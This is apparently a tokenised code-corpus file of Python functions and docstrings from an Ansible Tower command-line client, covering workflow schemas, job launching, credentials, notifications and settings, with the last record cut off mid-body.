{"signature": "def _compare_node_lists(old, new):", "body": "to_expand = []<EOL>to_delete = []<EOL>to_recurse = []<EOL>old_records = {}<EOL>new_records = {}<EOL>for tree_node in old:<EOL><INDENT>old_records.setdefault(tree_node.unified_job_template, [])<EOL>old_records[tree_node.unified_job_template].append(tree_node)<EOL><DEDENT>for tree_node in new:<EOL><INDENT>new_records.setdefault(tree_node.unified_job_template, [])<EOL>new_records[tree_node.unified_job_template].append(tree_node)<EOL><DEDENT>for ujt_id in old_records:<EOL><INDENT>if ujt_id not in new_records:<EOL><INDENT>to_delete.extend(old_records[ujt_id])<EOL>continue<EOL><DEDENT>old_list = old_records[ujt_id]<EOL>new_list = new_records.pop(ujt_id)<EOL>if len(old_list) == <NUM_LIT:1> and len(new_list) == <NUM_LIT:1>:<EOL><INDENT>to_recurse.append((old_list[<NUM_LIT:0>], new_list[<NUM_LIT:0>]))<EOL><DEDENT>else:<EOL><INDENT>to_delete.extend(old_list)<EOL>to_expand.extend(new_list)<EOL><DEDENT><DEDENT>for nodes in new_records.values():<EOL><INDENT>to_expand.extend(nodes)<EOL><DEDENT>return to_expand, to_delete, to_recurse<EOL>", "docstring": "Investigate two lists of workflow TreeNodes and categorize them.\n\nThere will be three types of nodes after categorization:\n    1. Nodes that only exists in the new list. These nodes will later be\n    created recursively.\n    2. Nodes that only exists in the old list. These nodes will later be\n    deleted recursively.\n    3. Node pairs that makes an exact match. These nodes will be further\n    investigated.\n\nCorresponding nodes of old and new lists will be distinguished by their\nunified_job_template value. A special case is that both the old and the new\nlists contain one type of node, say A, and at least one of them contains\nduplicates. In this case all A nodes in the old list will be categorized as\nto-be-deleted and all A nodes in the new list will be categorized as\nto-be-created.", "id": "f3361:m0"}
{"signature": "@staticmethod<EOL><INDENT>def _workflow_node_structure(node_results):<DEDENT>", "body": "<EOL>node_list_pos = {}<EOL>for i, node_result in enumerate(node_results):<EOL><INDENT>for rel in ['<STR_LIT:success>', '<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>node_result['<STR_LIT>'.format(rel)] = []<EOL><DEDENT>node_list_pos[node_result['<STR_LIT:id>']] = i<EOL><DEDENT>for node_result in node_results:<EOL><INDENT>for rel in ['<STR_LIT:success>', '<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>for sub_node_id in node_result['<STR_LIT>'.format(rel)]:<EOL><INDENT>j = node_list_pos[sub_node_id]<EOL>node_results[j]['<STR_LIT>'.format(rel)].append(<EOL>node_result['<STR_LIT:id>'])<EOL><DEDENT><DEDENT><DEDENT>root_nodes = []<EOL>for node_result in node_results:<EOL><INDENT>is_root = True<EOL>for rel in ['<STR_LIT:success>', '<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>if node_result['<STR_LIT>'.format(rel)] != []:<EOL><INDENT>is_root = False<EOL>break<EOL><DEDENT><DEDENT>if is_root:<EOL><INDENT>root_nodes.append(node_result['<STR_LIT:id>'])<EOL><DEDENT><DEDENT>def branch_schema(node_id):<EOL><INDENT>i = node_list_pos[node_id]<EOL>node_dict = node_results[i]<EOL>ret_dict = {\"<STR_LIT:id>\": node_id}<EOL>for fd in NODE_STANDARD_FIELDS:<EOL><INDENT>val = node_dict.get(fd, None)<EOL>if val is not None:<EOL><INDENT>if fd == '<STR_LIT>':<EOL><INDENT>job_type = node_dict['<STR_LIT>'][<EOL>'<STR_LIT>']['<STR_LIT>']<EOL>ujt_key = JOB_TYPES[job_type]<EOL>ret_dict[ujt_key] = val<EOL><DEDENT>else:<EOL><INDENT>ret_dict[fd] = val<EOL><DEDENT><DEDENT><DEDENT>for rel in ['<STR_LIT:success>', '<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>sub_node_id_list = node_dict['<STR_LIT>'.format(rel)]<EOL>if len(sub_node_id_list) == <NUM_LIT:0>:<EOL><INDENT>continue<EOL><DEDENT>relationship_name = '<STR_LIT>'.format(rel)<EOL>ret_dict[relationship_name] = []<EOL>for sub_node_id in sub_node_id_list:<EOL><INDENT>ret_dict[relationship_name].append(<EOL>branch_schema(sub_node_id))<EOL><DEDENT><DEDENT>return ret_dict<EOL><DEDENT>schema_dict = []<EOL>for root_node_id in root_nodes:<EOL><INDENT>schema_dict.append(branch_schema(root_node_id))<EOL><DEDENT>return schema_dict<EOL>", "docstring": "Takes the list results from the API in `node_results` and\ntranslates this data into a dictionary organized in a\nhuman-readable heirarchial structure", "id": "f3361:c1:m0"}
{"signature": "def _get_schema(self, wfjt_id):", "body": "node_res = get_resource('<STR_LIT>')<EOL>node_results = node_res.list(workflow_job_template=wfjt_id,<EOL>all_pages=True)['<STR_LIT>']<EOL>return self._workflow_node_structure(node_results)<EOL>", "docstring": "Returns a dictionary that represents the node network of the\nworkflow job template", "id": "f3361:c1:m1"}
{"signature": "@resources.command(use_fields_as_options=False)<EOL><INDENT>@click.argument('<STR_LIT>', type=types.Related('<STR_LIT>'))<EOL>@click.argument('<STR_LIT>', type=types.Variables(), required=False)<EOL>def schema(self, wfjt, node_network=None):<DEDENT>", "body": "existing_network = self._get_schema(wfjt)<EOL>if not isinstance(existing_network, list):<EOL><INDENT>existing_network = []<EOL><DEDENT>if node_network is None:<EOL><INDENT>if settings.format == '<STR_LIT>':<EOL><INDENT>settings.format = '<STR_LIT>'<EOL><DEDENT>return existing_network<EOL><DEDENT>if hasattr(node_network, '<STR_LIT>'):<EOL><INDENT>node_network = node_network.read()<EOL><DEDENT>node_network = string_to_dict(<EOL>node_network, allow_kv=False, require_dict=False)<EOL>if not isinstance(node_network, list):<EOL><INDENT>node_network = []<EOL><DEDENT>_update_workflow([TreeNode(x, wfjt, include_id=True) for x in existing_network],<EOL>[TreeNode(x, wfjt) for x in node_network])<EOL>if settings.format == '<STR_LIT>':<EOL><INDENT>settings.format = '<STR_LIT>'<EOL><DEDENT>return self._get_schema(wfjt)<EOL>", "docstring": "Convert YAML/JSON content into workflow node objects if\nnode_network param is given.\nIf not, print a YAML representation of the node network.\n\n=====API DOCS=====\nConvert YAML/JSON content into workflow node objects if ``node_network`` param is given. If not,\nprint a YAML representation of the node network.\n\n:param wfjt: Primary key or name of the workflow job template to run schema against.\n:type wfjt: str\n:param node_network: JSON- or YAML-formatted string representing the topology of the workflow job\n                     template be updated to.\n:type node_network: str\n:returns: The latest topology (possibly after modification) of the workflow job template.\n:rtype: dict\n\n=====API DOCS=====", "id": "f3361:c1:m2"}
{"signature": "@resources.command(use_fields_as_options=False)<EOL><INDENT>@click.option('<STR_LIT>', type=types.Related('<STR_LIT>'))<EOL>@click.option('<STR_LIT>',<EOL>type=types.Related('<STR_LIT>'))<EOL>@click.option('<STR_LIT>', type=click.Choice(['<STR_LIT>', '<STR_LIT:error>', '<STR_LIT:success>']),<EOL>required=False, default='<STR_LIT>', help='<STR_LIT>'<EOL>'<STR_LIT>')<EOL>def associate_notification_template(self, workflow,<EOL>notification_template, status):<DEDENT>", "body": "return self._assoc('<STR_LIT>' % status,<EOL>workflow, notification_template)<EOL>", "docstring": "Associate a notification template from this workflow.\n\n        =====API DOCS=====\n        Associate a notification template from this workflow job template.\n\n        :param workflow: The workflow job template to associate to.\n        :type workflow: str\n        :param notification_template: The notification template to be associated.\n        :type notification_template: str\n        :param status: type of notification this notification template should be associated to.\n        :type status: str\n        :returns: Dictionary of only one key \"changed\", which indicates whether the association succeeded.\n        :rtype: dict\n\n        =====API DOCS=====", "id": "f3361:c1:m3"}
{"signature": "@resources.command(use_fields_as_options=False)<EOL><INDENT>@click.option('<STR_LIT>', type=types.Related('<STR_LIT>'))<EOL>@click.option('<STR_LIT>',<EOL>type=types.Related('<STR_LIT>'))<EOL>@click.option('<STR_LIT>', type=click.Choice(['<STR_LIT>', '<STR_LIT:error>', '<STR_LIT:success>']),<EOL>required=False, default='<STR_LIT>', help='<STR_LIT>'<EOL>'<STR_LIT>')<EOL>def disassociate_notification_template(self, workflow,<EOL>notification_template, status):<DEDENT>", "body": "return self._disassoc('<STR_LIT>' % status,<EOL>workflow, notification_template)<EOL>", "docstring": "Disassociate a notification template from this workflow.\n\n        =====API DOCS=====\n        Disassociate a notification template from this workflow job template.\n\n        :param job_template: The workflow job template to disassociate from.\n        :type job_template: str\n        :param notification_template: The notification template to be disassociated.\n        :type notification_template: str\n        :param status: type of notification this notification template should be disassociated from.\n        :type status: str\n        :returns: Dictionary of only one key \"changed\", which indicates whether the disassociation succeeded.\n        :rtype: dict\n\n        =====API DOCS=====", "id": "f3361:c1:m4"}
{"signature": "def read(self, *args, **kwargs):", "body": "if '<STR_LIT>' in kwargs:<EOL><INDENT>kwargs['<STR_LIT>'] = kwargs.pop('<STR_LIT>')<EOL><DEDENT>r = super(Resource, self).read(*args, **kwargs)<EOL>if '<STR_LIT>' in r:<EOL><INDENT>for d in r['<STR_LIT>']:<EOL><INDENT>self._promote_actor(d)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self._promote_actor(d)<EOL><DEDENT>return r<EOL>", "docstring": "Do extra processing so we can display the actor field as\na top-level field", "id": "f3363:c0:m3"}
{"signature": "@resources.command(<EOL>use_fields_as_options=('<STR_LIT>',)<EOL>)<EOL><INDENT>@click.option('<STR_LIT>', is_flag=True, default=False,<EOL>help='<STR_LIT>'<EOL>'<STR_LIT>')<EOL>@click.option('<STR_LIT>', is_flag=True, default=False,<EOL>help='<STR_LIT>'<EOL>'<STR_LIT>')<EOL>@click.option('<STR_LIT>', required=False, type=int,<EOL>help='<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL>@click.option('<STR_LIT>', is_flag=True, default=False,<EOL>help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', '<STR_LIT>', required=False, multiple=True,<EOL>help='<STR_LIT>'<EOL>'<STR_LIT>')<EOL>@click.option('<STR_LIT>', type=bool, required=False, help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', required=False, help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', required=False, help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', required=False, help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', required=False, type=click.Choice(['<STR_LIT>', '<STR_LIT>']),<EOL>help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', type=int, required=False, help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', required=False, type=types.Related('<STR_LIT>'),<EOL>help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', required=False, type=types.Related('<STR_LIT>'),<EOL>help='<STR_LIT>')<EOL>def launch(self, job_template=None, monitor=False, wait=False,<EOL>timeout=None, no_input=True, extra_vars=None, **kwargs):<DEDENT>", "body": "<EOL>tags = kwargs.get('<STR_LIT>', None)<EOL>jt_resource = get_resource('<STR_LIT>')<EOL>jt = jt_resource.get(job_template)<EOL>data = {}<EOL>if tags:<EOL><INDENT>data['<STR_LIT>'] = tags<EOL><DEDENT>extra_vars_list = []<EOL>if '<STR_LIT>' in data and len(data['<STR_LIT>']) > <NUM_LIT:0>:<EOL><INDENT>debug.log('<STR_LIT>', header='<STR_LIT>')<EOL>r = client.get('<STR_LIT>')<EOL>if LooseVersion(r.json()['<STR_LIT:version>']) < LooseVersion('<STR_LIT>'):<EOL><INDENT>extra_vars_list = [data['<STR_LIT>']]<EOL><DEDENT><DEDENT>if extra_vars:<EOL><INDENT>extra_vars_list += list(extra_vars)  <EOL><DEDENT>if jt.get('<STR_LIT>', False) and not no_inputand not extra_vars:<EOL><INDENT>initial = parser.process_extra_vars(<EOL>[jt['<STR_LIT>']], force_json=False<EOL>)<EOL>initial = '<STR_LIT:\\n>'.join((<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>initial,<EOL>))<EOL>extra_vars = click.edit(initial) or '<STR_LIT>'<EOL>if extra_vars != initial:<EOL><INDENT>extra_vars_list = [extra_vars]<EOL><DEDENT><DEDENT>data.pop('<STR_LIT>', None)<EOL>modified = set()<EOL>for resource in PROMPT_LIST:<EOL><INDENT>if jt.pop('<STR_LIT>' + resource + '<STR_LIT>', False) and not no_input:<EOL><INDENT>resource_object = kwargs.get(resource, None)<EOL>if type(resource_object) == types.Related:<EOL><INDENT>resource_class = get_resource(resource)<EOL>resource_object = resource_class.get(resource).pop('<STR_LIT:id>', None)<EOL><DEDENT>if resource_object is None:<EOL><INDENT>debug.log('<STR_LIT>'.<EOL>format(resource), header='<STR_LIT>')<EOL><DEDENT>elif resource != '<STR_LIT>':<EOL><INDENT>data[resource] = resource_object<EOL>modified.add(resource)<EOL><DEDENT><DEDENT><DEDENT>if len(extra_vars_list) > <NUM_LIT:0>:<EOL><INDENT>data['<STR_LIT>'] = parser.process_extra_vars(<EOL>extra_vars_list, force_json=True<EOL>)<EOL><DEDENT>start_data = {}<EOL>endpoint = '<STR_LIT>' % jt['<STR_LIT:id>']<EOL>if '<STR_LIT>' in data and len(data['<STR_LIT>']) > <NUM_LIT:0>:<EOL><INDENT>start_data['<STR_LIT>'] = data['<STR_LIT>']<EOL><DEDENT>if tags:<EOL><INDENT>start_data['<STR_LIT>'] = data['<STR_LIT>']<EOL><DEDENT>for resource in PROMPT_LIST:<EOL><INDENT>if resource in modified:<EOL><INDENT>start_data[resource] = data[resource]<EOL><DEDENT><DEDENT>debug.log('<STR_LIT>',<EOL>header='<STR_LIT>')<EOL>job_start_info = client.get(endpoint).json()<EOL>for password in job_start_info.get('<STR_LIT>', []):<EOL><INDENT>start_data[password] = getpass('<STR_LIT>' % password)<EOL><DEDENT>debug.log('<STR_LIT>', header='<STR_LIT>')<EOL>self._pop_none(kwargs)<EOL>kwargs.update(start_data)<EOL>job_started = client.post(endpoint, data=kwargs)<EOL>job_id = job_started.json()['<STR_LIT:id>']<EOL>if job_started.text == '<STR_LIT>':<EOL><INDENT>ignored_fields = {}<EOL><DEDENT>else:<EOL><INDENT>ignored_fields = job_started.json().get('<STR_LIT>', {})<EOL><DEDENT>has_ignored_fields = False<EOL>for key, value in ignored_fields.items():<EOL><INDENT>if value and value != '<STR_LIT:{}>':<EOL><INDENT>if not has_ignored_fields:<EOL><INDENT>debug.log('<STR_LIT>',<EOL>header='<STR_LIT>')<EOL>has_ignored_fields = True<EOL><DEDENT>debug.log('<STR_LIT>'.format(key, value))<EOL><DEDENT><DEDENT>result = self.status(pk=job_id, detail=True)<EOL>result['<STR_LIT>'] = True<EOL>if monitor:<EOL><INDENT>return self.monitor(job_id, timeout=timeout)<EOL><DEDENT>elif wait:<EOL><INDENT>return self.wait(job_id, timeout=timeout)<EOL><DEDENT>return result<EOL>", "docstring": "Launch a new job based on a job template.\n\n        Creates a new job in Ansible Tower, immediately starts it, and\n        returns back an ID in order for its status to be monitored.\n\n        =====API DOCS=====\n        Launch a new job based on a job template.\n\n        :param job_template: Primary key or name of the job template to launch new job.\n        :type job_template: str\n        :param monitor: Flag that if set, immediately calls ``monitor`` on the newly launched job rather\n                        than exiting with a success.\n        :type monitor: bool\n        :param wait: Flag that if set, monitor the status of the job, but do not print while job is in progress.\n        :type wait: bool\n        :param timeout: If provided with ``monitor`` flag set, this attempt will time out after the given number\n                        of seconds.\n        :type timeout: int\n        :param no_input: Flag that if set, suppress any requests for input.\n        :type no_input: bool\n        :param extra_vars: yaml formatted texts that contains extra variables to pass on.\n        :type extra_vars: array of strings\n        :param diff_mode: Specify diff mode for job template to run.\n        :type diff_mode: bool\n        :param limit: Specify host limit for job template to run.\n        :type limit: str\n        :param tags: Specify tagged actions in the playbook to run.\n        :type tags: str\n        :param skip_tags: Specify tagged actions in the playbook to omit.\n        :type skip_tags: str\n        :param job_type: Specify job type for job template to run.\n        :type job_type: str\n        :param verbosity: Specify verbosity of the playbook run.\n        :type verbosity: int\n        :param inventory: Specify machine credential for job template to run.\n        :type inventory: str\n        :param credential: Specify machine credential for job template to run.\n        :type credential: str\n        :returns: Result of subsequent ``monitor`` call if ``monitor`` flag is on; Result of subsequent\n                  ``wait`` call if ``wait`` flag is on; Result of subsequent ``status`` call if none of\n                  the two flags are on.\n        :rtype: dict\n\n        =====API DOCS=====", "id": "f3364:c0:m0"}
{"signature": "@resources.command(<EOL>use_fields_as_options=(<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>)<EOL>)<EOL><INDENT>@click.option('<STR_LIT>', is_flag=True, default=False,<EOL>help='<STR_LIT>'<EOL>'<STR_LIT>')<EOL>@click.option('<STR_LIT>', is_flag=True, default=False,<EOL>help='<STR_LIT>'<EOL>'<STR_LIT>')<EOL>@click.option('<STR_LIT>', required=False, type=int,<EOL>help='<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL>def launch(self, monitor=False, wait=False, timeout=None, **kwargs):<DEDENT>", "body": "<EOL>r = client.get('<STR_LIT:/>')<EOL>if '<STR_LIT>' not in r.json():<EOL><INDENT>raise exc.TowerCLIError('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>self._pop_none(kwargs)<EOL>debug.log('<STR_LIT>', header='<STR_LIT>')<EOL>result = client.post(self.endpoint, data=kwargs)<EOL>command = result.json()<EOL>command_id = command['<STR_LIT:id>']<EOL>if monitor:<EOL><INDENT>return self.monitor(command_id, timeout=timeout)<EOL><DEDENT>elif wait:<EOL><INDENT>return self.wait(command_id, timeout=timeout)<EOL><DEDENT>answer = OrderedDict((<EOL>('<STR_LIT>', True),<EOL>('<STR_LIT:id>', command_id),<EOL>))<EOL>answer.update(result.json())<EOL>return answer<EOL>", "docstring": "Launch a new ad-hoc command.\n\n        Runs a user-defined command from Ansible Tower, immediately starts it,\n        and returns back an ID in order for its status to be monitored.\n\n        =====API DOCS=====\n        Launch a new ad-hoc command.\n\n        :param monitor: Flag that if set, immediately calls ``monitor`` on the newly launched command rather\n                        than exiting with a success.\n        :type monitor: bool\n        :param wait: Flag that if set, monitor the status of the job, but do not print while job is in progress.\n        :type wait: bool\n        :param timeout: If provided with ``monitor`` flag set, this attempt will time out after the given number\n                        of seconds.\n        :type timeout: int\n        :param `**kwargs`: Fields needed to create and launch an ad hoc command.\n        :returns: Result of subsequent ``monitor`` call if ``monitor`` flag is on; Result of subsequent ``wait``\n                  call if ``wait`` flag is on; dictionary of \"id\" and \"changed\" if none of the two flags are on.\n        :rtype: dict\n        :raises tower_cli.exceptions.TowerCLIError: When ad hoc commands are not available in Tower backend.\n\n        =====API DOCS=====", "id": "f3365:c0:m0"}
{"signature": "@resources.command(use_fields_as_options=False)<EOL><INDENT>@click.option('<STR_LIT>', type=types.Related('<STR_LIT>'))<EOL>@click.option('<STR_LIT>', type=types.Related('<STR_LIT>'))<EOL>def associate_credential(self, job_template, credential):<DEDENT>", "body": "return self._assoc('<STR_LIT>', job_template, credential)<EOL>", "docstring": "Associate a credential with this job template.\n\n        =====API DOCS=====\n        Associate a credential with this job template.\n\n        :param job_template: The job template to associate to.\n        :type job_template: str\n        :param credential: The credential to be associated.\n        :type credential: str\n        :returns: Dictionary of only one key \"changed\", which indicates whether the association succeeded.\n        :rtype: dict\n\n        =====API DOCS=====", "id": "f3368:c0:m1"}
{"signature": "@resources.command(use_fields_as_options=False)<EOL><INDENT>@click.option('<STR_LIT>', type=types.Related('<STR_LIT>'))<EOL>@click.option('<STR_LIT>', type=types.Related('<STR_LIT>'))<EOL>def disassociate_credential(self, job_template, credential):<DEDENT>", "body": "return self._disassoc('<STR_LIT>', job_template, credential)<EOL>", "docstring": "Disassociate a credential with this job template.\n\n        =====API DOCS=====\n        Disassociate a credential from this job template.\n\n        :param job_template: The job template to disassociate fom.\n        :type job_template: str\n        :param credential: The credential to be disassociated.\n        :type credential: str\n        :returns: Dictionary of only one key \"changed\", which indicates whether the disassociation succeeded.\n        :rtype: dict\n\n        =====API DOCS=====", "id": "f3368:c0:m2"}
{"signature": "@resources.command(use_fields_as_options=False)<EOL><INDENT>@click.option('<STR_LIT>', type=types.Related('<STR_LIT>'))<EOL>@click.option('<STR_LIT>',<EOL>type=types.Related('<STR_LIT>'))<EOL>@click.option('<STR_LIT>', type=click.Choice(['<STR_LIT>', '<STR_LIT:error>', '<STR_LIT:success>']),<EOL>required=False, default='<STR_LIT>', help='<STR_LIT>'<EOL>'<STR_LIT>')<EOL>def associate_notification_template(self, job_template,<EOL>notification_template, status):<DEDENT>", "body": "return self._assoc('<STR_LIT>' % status,<EOL>job_template, notification_template)<EOL>", "docstring": "Associate a notification template from this job template.\n\n        =====API DOCS=====\n        Associate a notification template from this job template.\n\n        :param job_template: The job template to associate to.\n        :type job_template: str\n        :param notification_template: The notification template to be associated.\n        :type notification_template: str\n        :param status: type of notification this notification template should be associated to.\n        :type status: str\n        :returns: Dictionary of only one key \"changed\", which indicates whether the association succeeded.\n        :rtype: dict\n\n        =====API DOCS=====", "id": "f3368:c0:m3"}
{"signature": "@resources.command(use_fields_as_options=False)<EOL><INDENT>@click.option('<STR_LIT>', type=types.Related('<STR_LIT>'))<EOL>@click.option('<STR_LIT>',<EOL>type=types.Related('<STR_LIT>'))<EOL>@click.option('<STR_LIT>', type=click.Choice(['<STR_LIT>', '<STR_LIT:error>', '<STR_LIT:success>']),<EOL>required=False, default='<STR_LIT>', help='<STR_LIT>'<EOL>'<STR_LIT>')<EOL>def disassociate_notification_template(self, job_template,<EOL>notification_template, status):<DEDENT>", "body": "return self._disassoc('<STR_LIT>' % status,<EOL>job_template, notification_template)<EOL>", "docstring": "Disassociate a notification template from this job template.\n\n        =====API DOCS=====\n        Disassociate a notification template from this job template.\n\n        :param job_template: The job template to disassociate from.\n        :type job_template: str\n        :param notification_template: The notification template to be disassociated.\n        :type notification_template: str\n        :param status: type of notification this notification template should be disassociated from.\n        :type status: str\n        :returns: Dictionary of only one key \"changed\", which indicates whether the disassociation succeeded.\n        :rtype: dict\n\n        =====API DOCS=====", "id": "f3368:c0:m4"}
{"signature": "@resources.command(use_fields_as_options=('<STR_LIT>'))<EOL><INDENT>@click.option('<STR_LIT>', help='<STR_LIT>'<EOL>'<STR_LIT>')<EOL>def callback(self, pk=None, host_config_key='<STR_LIT>', extra_vars=None):<DEDENT>", "body": "url = self.endpoint + '<STR_LIT>' % pk<EOL>if not host_config_key:<EOL><INDENT>host_config_key = client.get(url).json()['<STR_LIT>']<EOL><DEDENT>post_data = {'<STR_LIT>': host_config_key}<EOL>if extra_vars:<EOL><INDENT>post_data['<STR_LIT>'] = parser.process_extra_vars(list(extra_vars), force_json=True)<EOL><DEDENT>r = client.post(url, data=post_data, auth=None)<EOL>if r.status_code == <NUM_LIT>:<EOL><INDENT>return {'<STR_LIT>': True}<EOL><DEDENT>", "docstring": "Contact Tower and request a configuration update using this job template.\n\n        =====API DOCS=====\n        Contact Tower and request a provisioning callback using this job template.\n\n        :param pk: Primary key of the job template to run provisioning callback against.\n        :type pk: int\n        :param host_config_key: Key string used to authenticate the callback host.\n        :type host_config_key: str\n        :param extra_vars: Extra variables that are passed to provisioning callback.\n        :type extra_vars: array of str\n        :returns: A dictionary of a single key \"changed\", which indicates whether the provisioning callback\n                  is successful.\n        :rtype: dict\n\n        =====API DOCS=====", "id": "f3368:c0:m5"}
{"signature": "@resources.command(ignore_defaults=True)<EOL><INDENT>def batch_update(self, pk=None, **kwargs):<DEDENT>", "body": "res = self.get(pk=pk, **kwargs)<EOL>url = self.endpoint + '<STR_LIT>' % (res['<STR_LIT:id>'], '<STR_LIT>')<EOL>return client.post(url, data={}).json()<EOL>", "docstring": "Update all related inventory sources of the given inventory.\n\n        Note global option --format is not available here, as the output would always be JSON-formatted.\n\n        =====API DOCS=====\n        Update all related inventory sources of the given inventory.\n\n        :param pk: Primary key of the given inventory.\n        :type pk: int\n        :param `**kwargs`: Keyword arguments list of available fields used for searching resource objects.\n        :returns: A JSON object of update status of the given inventory.\n        :rtype: dict\n        =====API DOCS=====", "id": "f3369:c0:m0"}
{"signature": "def command(method=None, **kwargs):", "body": "<EOL>def actual_decorator(method):<EOL><INDENT>method._cli_command = True<EOL>method._cli_command_attrs = kwargs<EOL>return method<EOL><DEDENT>if method and isinstance(method, types.FunctionType):<EOL><INDENT>return actual_decorator(method)<EOL><DEDENT>else:<EOL><INDENT>return actual_decorator<EOL><DEDENT>", "docstring": "Mark this method as a CLI command.\n\n    This will only have any meaningful effect in methods that are members of a\n    Resource subclass.", "id": "f3374:m0"}
{"signature": "@resources.command(ignore_defaults=True, no_args_is_help=False)<EOL><INDENT>@click.option('<STR_LIT>', '<STR_LIT:-c>', '<STR_LIT>',<EOL>help='<STR_LIT>')<EOL>def list(self, **kwargs):<DEDENT>", "body": "self.custom_category = kwargs.get('<STR_LIT>', '<STR_LIT:all>')<EOL>try:<EOL><INDENT>result = super(Resource, self).list(**kwargs)<EOL><DEDENT>except exc.NotFound as e:<EOL><INDENT>categories = map(<EOL>lambda category: category['<STR_LIT>'],<EOL>client.get('<STR_LIT>').json()['<STR_LIT>']<EOL>)<EOL>e.message = '<STR_LIT>' % (<EOL>kwargs['<STR_LIT>'],<EOL>'<STR_LIT:U+002CU+0020>'.join(categories)<EOL>)<EOL>raise e<EOL><DEDENT>finally:<EOL><INDENT>self.custom_category = None<EOL><DEDENT>return {<EOL>'<STR_LIT>': [{'<STR_LIT:id>': k, '<STR_LIT:value>': v} for k, v in result.items()]<EOL>}<EOL>", "docstring": "Return a list of objects.\n\n        =====API DOCS=====\n        Retrieve a list of Tower settings.\n\n        :param category: The category slug in which to look up indevidual settings.\n        :type category: str\n        :param `**kwargs`: Keyword arguments list of available fields used for searching resource objects.\n        :returns: A JSON object containing details of all resource objects returned by Tower backend.\n        :rtype: dict\n\n        =====API DOCS=====", "id": "f3376:c0:m0"}
{"signature": "@resources.command(use_fields_as_options=False)<EOL><INDENT>def get(self, pk):<DEDENT>", "body": "<EOL>try:<EOL><INDENT>return next(s for s in self.list()['<STR_LIT>'] if s['<STR_LIT:id>'] == pk)<EOL><DEDENT>except StopIteration:<EOL><INDENT>raise exc.NotFound('<STR_LIT>')<EOL><DEDENT>", "docstring": "Return one and exactly one object\n\n        =====API DOCS=====\n        Return one and exactly one Tower setting.\n\n        :param pk: Primary key of the Tower setting to retrieve\n        :type pk: int\n        :returns: loaded JSON of the retrieved Tower setting object.\n        :rtype: dict\n        :raises tower_cli.exceptions.NotFound: When no specified Tower setting exists.\n\n        =====API DOCS=====", "id": "f3376:c0:m1"}
{"signature": "@resources.command(use_fields_as_options=False)<EOL><INDENT>@click.argument('<STR_LIT>')<EOL>@click.argument('<STR_LIT:value>', default=None, required=False,<EOL>type=types.Variables())<EOL>def modify(self, setting, value):<DEDENT>", "body": "prev_value = new_value = self.get(setting)['<STR_LIT:value>']<EOL>answer = OrderedDict()<EOL>encrypted = '<STR_LIT>' in six.text_type(prev_value)<EOL>if encrypted or six.text_type(prev_value) != six.text_type(value):<EOL><INDENT>if setting == '<STR_LIT>':<EOL><INDENT>r = client.post('<STR_LIT>',<EOL>data=self.coerce_type(setting, value))<EOL>new_value = r.json()<EOL><DEDENT>else:<EOL><INDENT>r = client.patch(<EOL>self.endpoint,<EOL>data={setting: self.coerce_type(setting, value)}<EOL>)<EOL>new_value = r.json()[setting]<EOL><DEDENT>answer.update(r.json())<EOL><DEDENT>changed = encrypted or (prev_value != new_value)<EOL>answer.update({<EOL>'<STR_LIT>': changed,<EOL>'<STR_LIT:id>': setting,<EOL>'<STR_LIT:value>': new_value,<EOL>})<EOL>return answer<EOL>", "docstring": "Modify an already existing object.\n\n        Positional argument SETTING is the setting name and VALUE is its value,\n        which can be provided directly or obtained from a file name if prefixed with '@'.\n\n        =====API DOCS=====\n        Modify an already existing Tower setting.\n\n        :param setting: The name of the Tower setting to be modified.\n        :type setting: str\n        :param value: The new value of the Tower setting.\n        :type value: str\n        :returns: A dictionary combining the JSON output of the modified resource, as well as two extra fields:\n                  \"changed\", a flag indicating if the resource is successfully updated; \"id\", an integer which\n                  is the primary key of the updated object.\n        :rtype: dict\n\n        =====API DOCS=====", "id": "f3376:c0:m2"}
{"signature": "def __getattribute__(self, name):", "body": "if name in ['<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>raise AttributeError<EOL><DEDENT>else:<EOL><INDENT>return object.__getattribute__(self, name)<EOL><DEDENT>", "docstring": "Disable inherited methods that cannot be applied to this\n        particular resource.", "id": "f3376:c0:m5"}
{"signature": "def jt_aggregate(func, is_create=False, has_pk=False):", "body": "def helper(kwargs, obj):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>unified_job_template = None<EOL>for item in UNIFIED_JT:<EOL><INDENT>if kwargs.get(item, None) is not None:<EOL><INDENT>jt_id = kwargs.pop(item)<EOL>if unified_job_template is None:<EOL><INDENT>unified_job_template = (item, jt_id)<EOL><DEDENT>else:<EOL><INDENT>raise exc.UsageError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT><DEDENT><DEDENT>if unified_job_template is not None:<EOL><INDENT>kwargs['<STR_LIT>'] = unified_job_template[<NUM_LIT:1>]<EOL>obj.identity = tuple(list(obj.identity) + ['<STR_LIT>'])<EOL>return '<STR_LIT:/>'.join([UNIFIED_JT[unified_job_template[<NUM_LIT:0>]],<EOL>str(unified_job_template[<NUM_LIT:1>]), '<STR_LIT>'])<EOL><DEDENT>elif is_create:<EOL><INDENT>raise exc.UsageError('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT><DEDENT>def decorator_without_pk(obj, *args, **kwargs):<EOL><INDENT>old_endpoint = obj.endpoint<EOL>new_endpoint = helper(kwargs, obj)<EOL>if is_create:<EOL><INDENT>obj.endpoint = new_endpoint<EOL><DEDENT>result = func(obj, *args, 